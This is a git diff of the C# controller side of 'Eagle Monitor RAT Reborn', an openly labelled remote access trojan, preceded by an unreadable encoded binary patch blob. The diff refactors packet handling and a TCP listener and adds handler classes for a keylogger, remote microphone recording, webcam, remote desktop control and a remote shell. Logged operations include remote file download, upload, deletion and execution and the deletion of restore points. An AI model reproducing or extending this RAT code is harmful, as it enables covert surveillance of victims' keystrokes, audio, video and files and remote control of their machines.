zcmZ{pbx<5$lE(-4z#zfh-3e|(aM$2Yf=zY6!P9_|q3rC8$?2zYrJPK52?FLc@lMzG^P01Ns}thxT| z01FD%E?4fKj_}YHZiemz?H*{aqFAeWOpN6Gdnoemme~5Pe*Q3|mkJzCP?J9B8lok95yBHrSU{`YcZz zc5;Ll_a_2aQb3sRw9Oq}5ftAKjU`ltR}S)k9MmJ3Z!-1ZniSBh>+ipRAzJV)0L51Y zm;uAW(~|a0=s)Yve*`{Ysq}&)F9Oc4Z2QG3IGB-K6+#=+u7D-DlrLIj?6&E>aFy+t zLQbmUdA$f1jAiltQLZ^~w(KDzridSET}UpG3?i!&OX&CtB|JhcK8u1>C%<+q{mgsX z-_wb&oS}0&izrhXP4;&2IE7K)p?k2U4{~paA9O`A2KM3Wh19>u4?<)Kjf;rebjT3@ zoUHtKOd@2f6`}Hj`;$C{C9ELUR-(Hl(AHd~n?~E1SW<+Qsopi`l^B&&t(hd&z%jtu zK0MlF3*-?qgD1)L2FgO*Lbo;xDQ+3o5eb^!3`PmU@EuO|# zZyGrX!+c%l%Lu|c4Uwft`-%y~H)5>`!&q4vjCzzF0BC`m;tzYx;h!kSS$!9s5Vm%@^e*j7?Tj>d?N{VNT$br`^n0J_G%J0WkKaSS36# zP?rYRtC!vtwAgR?M`C+)c=skK&v-~1|7)wKzGqMH%+oB*ikh{y(jX5v#4oJqd(Lw^Jj7vRWK#;Crogz00b;*2$DxXm7$x3VS z`9Qji3#q69S8hrmo@klhvx@pjWWVgd7uh=yns4Uv9IrhtwBysNMX^=<@adx`~m>0OF4_ z;^Z=bj$`aY3F#G(J{&}{$vp$MqzG~54l7ImLj=q{8IuHb;#|i9G!ZcowcGoAGV8z1kufOt zHE3h3L=0Kp!b=gLiE)pl_v+-A3qUx#@vYVw-jvQ_c1klwJKmn#3>f}$*VoW1DB3-J z+q)?+z!dwt+{ZV6(g3h;FVNZ~Lx{%L93GT^hBRZiU}s+swi1jsL$y8?Gb#16qE7gw zNBKp|D&-Vz{F)`q!M??rzS!w2uYRV(hqY4;cpbx;E&&r*;U4QGw8uykIZiCxvUlT$ z`|63en|gI8;(fLnATFHD1T_m}aM-8&tvygbWc(Fkl5tE<( zC_}B$hj{fB;{B^WE7@%{UmpDl_|C=iQrTylW!o$Urrb$&4sQ6}*ufv)mq<7W>UE*P zcR+myrkFkanXpfDu&sejg72Fc3kd@ouz=C71@p!^a-+N7J^~k56gr)-9d-xjW>QaV z*}BKkTuh_ZDt_U9lg`zng5KVzUb$D5 z&K0s-l$1@gJlgjG;UU|BsoWW_?O56;4F)OhCjp-e145%1?x#Y2-A|drEEh`Xn~It% zRq7c5TZUtRqX++4XaDuMvFbX9-&;aY<0EX6&NMEy-fq?nsLmFH7i(*U&B9C14^1On z0quXZy&F%?Z=~O3cGE_&^Oguo734DN;cJyEc!b@{%1SztUw@hPs;WXpi~=w^2z4B@K1GKvcDa1DQp7NFHqJ z3no;}rd+X@`0OcC^);#cWl7^1{Oph-owCGqG}0Xyjq##SEUiY5hakp}PsT=yHiJUi znH?PP@PI=&y~7Ng(s-OwA)Jr#I3I;@rYWg&4<$RcaSF@Scd=%SWfZ~tSt-1RNxL?V z%b~0$ZJh=F$?7dTtb#GFSPAV-EZYnlQ_zfc_3D|UsC%d^flB7MW4bEFG@9`pZFHwl z<}f(<`{0%cS^$S*TIEuh%V&#gioGNpw1x>^6S;<+qbjak_WnniY9XoVmO0F&$#M)4 z&8Z@?!b)2CuQcr~nj7ufJggq>H|dloZ=6((((5WJOpqu-O9jvxJ@oBKZ}ko=T|B}& z-`~PNrdDu^D6KQQtr*wT+Ol-xa^8P1d#CYekJQeGj!7DHuIgebEbKrz@z%T!O$)OKB!TNGKMiR=VTrCw}TLgm;!n5X zep0O~iF9`UalfoNWr9Cj>1}PEo*|h$WIxL?PhPOT<8eLmm2)stY^G+y%wx)6Cu`oq z5sj2b%&>AMn^`z!td!4S5@C< zSFs7Hq8WFvv}L}8_FS-M0Ch>U!*KOLMjOyqVCe3MP5PdT=tS2$k)Jr`OL3Xp~`e6)&hDjY2(HbA2l+{^>Bc+qIrMXW=9~_ zg++A{@K{;X9__*QAuMRASLfH)^5ohA(MRs(@agTx%CvODHsy27z9`5u)s z?E7gxDDkVC>(@+=4pW<<-u2>T0g1?FxmJ9GD8+L1Vv!v0^8L_92TiibIz8^_o{rn_ zJ0(I{9%>e$Hy#d%Y2ClVHu2{jZ>Fm+4|8wjZZAqn%;Ilr9|{N~Hw}Rr5>oJEGrTrZ zBiW(&jP^MneB=6~G8OYHU7Hf=J(PN#@g4kkWvbZRh0uQNOrmc(5UWt7mua168QvvI z)}D(J{vbh(x`b<)fl-AcSAGRvF{*%49krE3HxnsUSuOh73?wGyo{~`q@^f$osT=-pbt0L)W1(o^QPZ%@bq%&(39kuA0@uZoYlR)+fLn$Zf$bUv# zwi7&&{?Hl!PMtwE2>M)ie|UA5Y>zI73PlYU^^uQ0xNfFCcqW9~x?E^r z76s=}Fc!~jIv$Ka|8^&`WpwgM#FG+ncC*@i zdm${M#qD;hT~Peuni-wL_(Hjg3S+yjP&9@1Be@5-n8bvs9dMlE#W-J`Q)0|7vVMiV zl*wH@Ax5Rd1-~kTlQE(c!?dO+d4(9?po|YYD*m&2==9O;Te*}lkV>x`m2a=~=#WLCUp zbZxJfngC8e%eUC3s=6Xa^7~>u4S`&Z?>1?TI@q0t(m@_CQ*1^*aLL-dGJSv>U9m4@ zgJi5t6f%u>>~48)q*Dk)*nGs48lh!~vz8eCQ;sohKRUfV|`} z!{JtYAS=o&@Adnz-i3=RmA86~V>=PQbda2PqU_{O0(D|JBO^=Xv8T43->mtOE69HG z?CfdS=gtJ{egAILHb9LaT$ha0`yT4( z7G{*c?SUMS<>I9mUp1plni$$G)?}MFIp=d1x0O-tl-PU2I40T+btf@jU*fI^nM3^* z6j%5Wg*V^-Wr0_fBuG3tzpF)AQfHq^ggNOPHZN-FYEwJ9+;Vq4YJ7cvVeI<40|`HO z%k~RG;tTd}KqF9!+2J=DBHa-yKfhEo-*ey}8(W(mY-0Peh%ItDn15)Hb6&aT(s0%B zy=<7Z5EB9-w3T-9l})sEe8)*~;IqQtQ?Ek!lkw!hIXf3muszzgIoeriE*uf@DcCg| zd&J5)8gZOu?KLMy+m8vw37v1RL_#f+$b$QsJfW3LLds)?n}yH)^3uXSB(y)E$7>sz z;7s>15V(z!O8AF0^U4&=Ur;$f$&+j<6ox60oCmF$zj+cv)iihz9KPuTfC)DkT8ooU+Ka>M zi|5n-1Raz_%lm;@=ycKC?8Tq&lC6b*e4^yaTRqgpX$uh>s7K*t>B+UIWw0A!MESav zV9m)2KYf9);?ec#Q|+xAkG+HT_Y@KvQGqQ45zq9lBJaixeKQl1P6JWQu}9A$+wF4; z?n&mTBMvI%r#AM~BRlJYsI%tra$Ca?tpt!t7_!L+=(jJk{s_C)7Vq2+t#9@oWADu0 z1Vtd5ctXEz7i}d_ZQ7kx;?82H!8o}>eStTt{g@|eI z35x<0;}7!qL@^~JCJD)a_@uXzXSjbq~g?SXWGj!1f$JI`wj9*81YyxQIIO>W8D=~ z&wK*>T$*%ORTzQ^p;5Mdba{&k1agGwjL7{36EAMNq!ZCY z7?3k&m3J^+Xf(X`vqEk)hvT==QDxSSqgfFAUr~K#Mx3w;<9qkj2(^{uP_ z)JqURnl1j}6Bf-iG<;S;{~Mu94PqZk>;ogA62Z)N%Zp78|zZ>TM=e74ZB6kxgqBPhiGuI5p|xIUJc)M&N7{Ej!lbK4!JO5S@7#{&A;?AL zoZ{GjH3X~9i4O(S1|QUnqB}>DoSSDcuEm)zt%W-c(sY(gr}9#&mVc{a8JDC?+9uZ_ z`X~y>V)qt`lnv`d)PcDQ7{Z-L2+P2ln{k8B3|q%dDQ;V!$Xua(9PG?Hu~z~icj+6m zknjbI%H~=Yjq+D?IFb3F7Mt#FXsnw|fD{6ivN8YB64*u?oroq|v(S%Kz-r(`w8BHF$+ncKqn1<2Q>5s3qSI5T1=IBK=I>*bIKIo z?c_GC0Lv=a+gdKLmc3Md&cT~6q&>f)s4Kz2O91}A!2;c1qlLdMs=uHAK4w7w#|s>Q z2mpBR-S-o)0{35*>JUr|Xjq2(SHi#Rm478*U;+UDTfO`bg3@Ki-wFS){} + { + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.Text = $"Bytes received : {size}"; + })); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.EndInvoke(result); + } - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.CONNECTED: - ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp)); + ClientHandler.StartSendData(clientHandler, new BaseIpPacket(packet.BaseIp)); + //ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp)); break; case PacketType.RC_CAPTURE_ON: @@ -46,92 +63,80 @@ private void EndPacketRead(IAsyncResult ar) case PacketType.SHELL_COMMAND: return; - /*case PacketType.SHELL_START: - return;*/ - } - - string size = Misc.Utils.Numeric2Bytes(packet.packetSize); - - IAsyncResult result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => - { - int rowId = Program.mainForm.logsDataGridView.Rows.Add(); - DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; - row.Cells["Column11"].Value = packet.HWID; - row.Cells["Column12"].Value = packet.baseIp; - row.Cells["Column13"].Value = packet.packetType.ToString(); - row.Cells["Column14"].Style.ForeColor = Color.FromArgb(197, 66, 245); - row.Cells["Column14"].Value = packet.packetState; - row.Cells["Column15"].Value = packet.datePacketStatus; - row.Cells["Column17"].Value = size; - - switch (packet.packetType) - { - case PacketType.FM_DOWNLOAD_FILE: - row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; - break; - - case PacketType.FM_DELETE_FILE: - /* if (((DeleteFilePacket)packet).deleted == true) - row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " DELETED"; - else - row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " NOT DELETED";*/ - break; - - case PacketType.FM_START_FILE: - row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; - break; - - case PacketType.FM_GET_FILES_AND_DIRS: - row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; - break; - - case PacketType.CONNECTED: - row.Cells["Column16"].Value = ClientHandler.ClientHandlersList[packet.baseIp].clientStatus; - break; - - case PacketType.FM_SHORTCUT_PATH: - row.Cells["Column16"].Value = ((ShortCutFileManagersPacket)packet).shortCuts; - break; - - case PacketType.FM_UPLOAD_FILE: - /* if (((UploadFilePacket)packet).uploaded == true) - row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " UPLOADED"; - else - row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " NOT UPLOADED";*/ - break; - - case PacketType.CHAT_ON: - row.Cells["Column16"].Value = ((RemoteChatPacket)packet).msg; - break; - - case PacketType.UAC_DELETE_RESTORE_POINT: - if(((DeleteRestorePointPacket)packet).deleted == true) - row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " DELETED"; - else - row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " NOT DELETED"; - break; - } - Program.mainForm.logsDataGridView.ClearSelection(); - Program.mainForm.logsDataGridView.CurrentCell = null; - })); - - Program.mainForm.logsDataGridView.EndInvoke(result); - - if (ClientHandler.ClientHandlersList[packet.baseIp].clientForm != null) - { - result = ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.BeginInvoke((Action)(() => - { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.Text = $"Bytes received : {size}"; - })); - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.EndInvoke(result); + default: + result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => + { + int rowId = Program.mainForm.logsDataGridView.Rows.Add(); + DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; + row.Cells["Column11"].Value = packet.HWID; + row.Cells["Column12"].Value = packet.BaseIp; + row.Cells["Column13"].Value = packet.PacketType.ToString(); + row.Cells["Column14"].Style.ForeColor = Color.FromArgb(197, 66, 245); + row.Cells["Column14"].Value = packet.PacketState; + row.Cells["Column15"].Value = packet.DatePacketStatus; + row.Cells["Column17"].Value = size; + + switch (packet.PacketType) + { + case PacketType.FM_DOWNLOAD_FILE: + row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; + break; + + case PacketType.FM_DELETE_FILE: + /* if (((DeleteFilePacket)packet).deleted == true) + row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " DELETED"; + else + row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " NOT DELETED";*/ + break; + + case PacketType.FM_START_FILE: + row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; + break; + + case PacketType.FM_GET_FILES_AND_DIRS: + row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; + break; + + case PacketType.CONNECTED: + row.Cells["Column16"].Value = ClientHandler.ClientHandlersList[packet.BaseIp].ClientStatus; + break; + + case PacketType.FM_SHORTCUT_PATH: + row.Cells["Column16"].Value = ((ShortCutFileManagersPacket)packet).shortCuts; + break; + + case PacketType.FM_UPLOAD_FILE: + /* if (((UploadFilePacket)packet).uploaded == true) + row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " UPLOADED"; + else + row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " NOT UPLOADED";*/ + break; + + case PacketType.CHAT_ON: + row.Cells["Column16"].Value = ((RemoteChatPacket)packet).msg; + break; + + case PacketType.UAC_DELETE_RESTORE_POINT: + if (((DeleteRestorePointPacket)packet).deleted == true) + row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " DELETED"; + else + row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " NOT DELETED"; + break; + } + Program.mainForm.logsDataGridView.ClearSelection(); + Program.mainForm.logsDataGridView.CurrentCell = null; + })); + + Program.mainForm.logsDataGridView.EndInvoke(result); + break; } packet = null; } - private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler) + private static IPacket HandlePacket(IPacket packet, ClientHandler clientHandler) { - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.CONNECTED: new ConnectedPacketHandler((ConnectedPacket)packet, clientHandler); @@ -273,6 +278,11 @@ private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler) new RemoteStartShellPacketHandler(startShellSessionPacket); break; + case PacketType.MISC_NETWORK_INFORMATION: + NetworkInformationPacket networkInformationPacket = (NetworkInformationPacket)packet; + new NetworkInformationPacketHandler(networkInformationPacket); + break; + default: break; /* @@ -284,8 +294,8 @@ private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler) */ } - packet.packetState = PacketState.RECEIVED; - packet.datePacketStatus = DateTime.Now.ToString(); + packet.PacketState = PacketState.RECEIVED; + packet.DatePacketStatus = DateTime.Now.ToString(); return packet; } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs index 244ed892..721ec7b9 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs @@ -13,77 +13,71 @@ namespace Eagle_Monitor_RAT_Reborn.Network { internal class ServerHandler : IDisposable { - internal readonly static List Servers; - internal static int CurrentServersNumber { get { return Servers.Count; } } - internal static bool stopServer { get; set; } - static ServerHandler() { - stopServer = false; + StopServer = false; Servers = new List(); + acceptClientAsync = new AcceptClientAsync(AcceptClient); } - private int serverPort { get; set; } - internal Socket socket; + internal readonly static List Servers; + internal static int CurrentServersNumber { get { return Servers.Count; } } + internal static bool StopServer { get; set; } - private delegate ClientHandler AcceptClient(); - private readonly AcceptClient acceptClient; + private static readonly AcceptClientAsync acceptClientAsync; + private delegate ClientHandler AcceptClientAsync(ServerHandler serverHandler); - internal ServerHandler() : base() - { - Servers.Add(this); - acceptClient = new AcceptClient(BeginClientAccepted); - } + #region "Non Static" + private int ServerPort { get; set; } + internal Socket socket; - internal bool Listen(int port) + internal ServerHandler(int port) : base() { - serverPort = port; + Servers.Add(this); + ServerPort = port; IPEndPoint endPoint = new IPEndPoint(IPAddress.Any, port); socket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); try { socket.Bind(endPoint); socket.Listen(int.MaxValue); - AcceptClientAsync(); - return true; + StartAcceptClient(this); } catch (Exception ex) { MessageBox.Show(ex.ToString()); - return false; } } + #endregion - internal void AcceptClientAsync() + private static void StartAcceptClient(ServerHandler serverHandler) { - acceptClient.BeginInvoke(new AsyncCallback(EndAcceptedClient), null); + acceptClientAsync.BeginInvoke(serverHandler, new AsyncCallback(EndAcceptClient), serverHandler); } - private ClientHandler BeginClientAccepted() + private static ClientHandler AcceptClient(ServerHandler serverHandler) { - if(!stopServer) - return new ClientHandler(socket.Accept(), this.serverPort); + if(!StopServer) + return new ClientHandler(serverHandler.socket.Accept(), serverHandler.ServerPort); else return null; } - private void EndAcceptedClient(IAsyncResult ar) + private static void EndAcceptClient(IAsyncResult ar) { - try - { - acceptClient.EndInvoke(ar); - - if (!stopServer) - AcceptClientAsync(); - } - catch { this.Dispose(); } + acceptClientAsync.EndInvoke(ar); + ServerHandler serverHandler = (ServerHandler)ar.AsyncState; + if (!StopServer) + ServerHandler.StartAcceptClient(serverHandler); + else + serverHandler.Dispose(); } public void Dispose() { - socket.Close(); - if (socket != null) - socket.Dispose(); + this.socket.Shutdown(SocketShutdown.Both); + this.socket.Close(); + this.socket?.Dispose(); } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs new file mode 100644 index 00000000..d7cfdb22 --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs @@ -0,0 +1,26 @@ +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class ChatHandler : IDisposable + { + internal ClientHandler ClientHandler { get; set; } + internal string BaseIp { get; set; } + + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs new file mode 100644 index 00000000..44d9cd5c --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs @@ -0,0 +1,26 @@ +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class KeyloggerHandler : IDisposable + { + internal ClientHandler ClientHandler { get; set; } + internal string BaseIp { get; set; } + + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs new file mode 100644 index 00000000..d71f5014 --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs @@ -0,0 +1,31 @@ +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class RemoteDesktopHandler : IDisposable + { + internal ClientHandler ClientHandler { get; set; } + internal bool EnabledMouse { get; set; } + internal bool EnableKeyboard { get; set; } + internal bool HasAlreadyConnected { get; set; } + internal int VResol { get; set; } + internal int HResol { get; set; } + internal string BaseIp { get; set; } + + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs new file mode 100644 index 00000000..58f5c2a8 --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs @@ -0,0 +1,40 @@ +using NAudio.Wave; +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class RemoteMicrophoneHandler : IDisposable + { + internal RemoteMicrophoneHandler() + { + WaveOut = new WaveOut(); + BufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1)); + } + internal ClientHandler ClientHandler { get; set; } + internal WaveOut WaveOut { get; set; } + internal BufferedWaveProvider BufferedWaveProvider { get; set; } + internal string CurrentFileName { get; set; } + internal int CurrentOffset { get; set; } + internal WaveFileWriter WaveFileWriter { get; set; } + internal bool HasAlreadyConnected { get; set; } + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + + this.WaveFileWriter.Close(); + this.BufferedWaveProvider.ClearBuffer(); + this.CurrentFileName = ""; + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs new file mode 100644 index 00000000..c320f788 --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs @@ -0,0 +1,26 @@ +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class RemoteShellHandler : IDisposable + { + internal ClientHandler ClientHandler { get; set; } + internal string BaseIp { get; set; } + + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs new file mode 100644 index 00000000..142eed59 --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs @@ -0,0 +1,29 @@ +using System; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.Network +{ + internal class RemoteWebCamHandler : IDisposable + { + internal ClientHandler ClientHandler { get; set; } + internal bool HasAlreadyConnected { get; set; } + //internal int vResol { get; set; } + //internal int hResol { get; set; } + internal string BaseIp { get; set; } + + public void Dispose() + { + ClientHandler.Socket.Close(); + if (ClientHandler.Socket != null) + { + ClientHandler.Socket.Dispose(); + ClientHandler.Socket = null; + ClientHandler = null; + } + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs index 2dcb814b..d55c005b 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs @@ -13,53 +13,31 @@ internal class RemoteAudioCapturePacketHandler { public RemoteAudioCapturePacketHandler(RemoteAudioCapturePacket remoteAudioCapturePacket) : base()//, ClientHandler clientHandler) { - try + if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm != null) { - - if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected == false) - { - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav"; - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset = 0; - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName, new WaveFormat(44100, 1)); - } - //currentOffset - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected = true; - - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.bufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); - - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); - - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Flush(); - - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset += remoteAudioCapturePacket.bytesRecorded; - } - catch { } - return; - /*new Thread(() => { try { - if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected == false) + if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected == false) { - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav"; - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset = 0; - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName, new WaveFormat(44100, 1)); + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav"; + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset = 0; + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName, new WaveFormat(44100, 1)); } //currentOffset - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected = true; + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected = true; - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.bufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.BufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Flush(); + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Flush(); - ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset += remoteAudioCapturePacket.bytesRecorded; - - return; + ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset += 